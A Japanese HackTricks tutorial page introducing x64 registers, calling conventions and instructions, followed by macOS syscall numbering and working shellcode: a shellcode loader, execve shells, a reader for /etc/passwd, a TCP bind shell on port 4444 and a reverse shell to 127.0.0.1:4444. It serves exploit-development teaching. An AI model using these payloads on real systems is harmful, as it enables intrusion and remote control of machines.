Introduction to x64

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

x64への導入

x64、またはx86-64としても知られる64ビットプロセッサアーキテクチャは、主にデスクトップおよびサーバーコンピューティングで使用されています。Intelによって生産されたx86アーキテクチャから派生し、後にAMDがAMD64という名前で採用したもので、現在は個人コンピュータやサーバーで一般的なアーキテクチャです。

レジスタ

x64はx86アーキテクチャを拡張し、raxrbxrcxrdxrbprsprsirdir8からr15までの16個の汎用レジスタを備えています。これらの各レジスタは64ビット(8バイト)の値を格納できます。これらのレジスタには、互換性と特定のタスクのための32ビット、16ビット、8ビットのサブレジスタもあります。

  1. rax - 通常、関数からの戻り値に使用されます。

  2. rbx - メモリ操作のベースレジスタとしてよく使用されます。

  3. rcx - ループカウンタとして一般的に使用されます。

  4. rdx - 拡張算術演算を含むさまざまな役割で使用されます。

  5. rbp - スタックフレームのベースポインタ

  6. rsp - スタックのトップを追跡するスタックポインタ

  7. rsiおよびrdi - 文字列/メモリ操作のソースおよび宛先インデックスに使用されます。

  8. r8 から r15 - x64で導入された追加の汎用レジスタ。

呼び出し規約

x64の呼び出し規約はオペレーティングシステムによって異なります。例えば:

  • Windows: 最初の4つのパラメータはレジスタ**rcxrdxr8r9に渡されます。それ以降のパラメータはスタックにプッシュされます。戻り値はrax**に格納されます。

  • System V(UNIXライクなシステムで一般的に使用される): 最初の6つの整数またはポインタパラメータはレジスタ**rdirsirdxrcxr8r9に渡されます。戻り値もrax**にあります。

関数に6つ以上の入力がある場合、残りはスタックに渡されます。スタックポインタであるRSP16バイトに整列されている必要があります。つまり、呼び出しが発生する前に指すアドレスが16で割り切れる必要があります。通常、私たちは関数呼び出し前にシェルコード内でRSPが適切に整列されていることを確認する必要があります。ただし、実際には、この要件を満たさなくてもシステムコールは多くの場合動作します。

Swiftにおける呼び出し規約

Swiftには独自の呼び出し規約があり、https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64で見つけることができます。

一般的な命令

x64命令には、以前のx86命令との互換性を維持し、新しい命令を導入する豊富なセットがあります。

  • mov: 1つのレジスタまたはメモリ位置から別の場所に値を移動します。

    • 例: mov rax, rbxrbxからraxに値を移動します。

  • pushおよびpop: スタックに値をプッシュまたはポップします。

    • 例: push raxraxの値をスタックにプッシュします。

    • 例: pop rax — スタックのトップの値をraxにポップします。

  • addおよびsub: 加算および減算演算。

    • 例: add rax, rcxraxrcxの値を加算し、結果をraxに格納します。

  • mulおよびdiv: 乗算および除算演算。注:これらはオペランドの使用に関する特定の動作があります。

  • callおよびret: 関数の呼び出しおよび戻りに使用されます。

  • int: ソフトウェア割り込みをトリガーするために使用されます。例: 32ビットx86 Linuxでは、システムコールにint 0x80が使用されました。

  • cmp: 2つの値を比較し、結果に基づいてCPUのフラグを設定します。

    • 例: cmp rax, rdxraxrdxと比較します。

  • jejnejljge、...: 条件付きジャンプ命令で、前のcmpまたはテストの結果に基づいて制御フローを変更します。

    • 例: cmp rax, rdx命令の後、je labelraxrdxと等しい場合、labelにジャンプします。

  • syscall: 一部のx64システム(現代のUnixなど)でシステムコールに使用されます。

  • sysenter: 一部のプラットフォームで最適化されたシステムコール命令です。

関数プロローグ

  1. 古いベースポインタをプッシュ: push rbp(呼び出し元のベースポインタを保存)

  2. 現在のスタックポインタをベースポインタに移動: mov rbp, rsp(現在の関数の新しいベースポインタを設定)

  3. ローカル変数のためにスタック上にスペースを確保: sub rsp, <size><size>は必要なバイト数です)

関数エピローグ

  1. 現在のベースポインタをスタックポインタに移動: mov rsp, rbp(ローカル変数を解放)

  2. 古いベースポインタをスタックからポップ: pop rbp(呼び出し元のベースポインタを復元)

  3. 戻る: ret(呼び出し元に制御を返す)

macOS

システムコール

異なるクラスのシステムコールがあります、こちらで見つけることができます:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

次に、このURLで各システムコール番号を見つけることができます。

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

したがって、Unix/BSDクラスからopenシスコール(5)を呼び出すためには、0x2000000を追加する必要があります。

したがって、openを呼び出すためのシスコール番号は0x2000005になります。

シェルコード

コンパイルするには:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

バイトを抽出するには:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
シェルコードをテストするためのCコード

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### シェル

[**こちら**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)から取得し、説明します。

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='with adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

```armasm bits 64 global _main

_main: xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move the path into RBX push rbx ; push the path, to the stack mov rdi, rsp ; store the stack pointer in RDI (arg1) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall

#### catコマンドで読み取る

目標は、`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`を実行することです。したがって、2番目の引数(x1)はパラメータの配列でなければなりません(メモリ内では、これらはアドレスのスタックを意味します)。
```armasm
bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

shを使用してコマンドを呼び出す

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

バインドシェル

バインドシェルはhttps://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.htmlからポート4444で提供されます。

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

リバースシェル

https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html からのリバースシェル。127.0.0.1:4444 へのリバースシェル

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

Last updated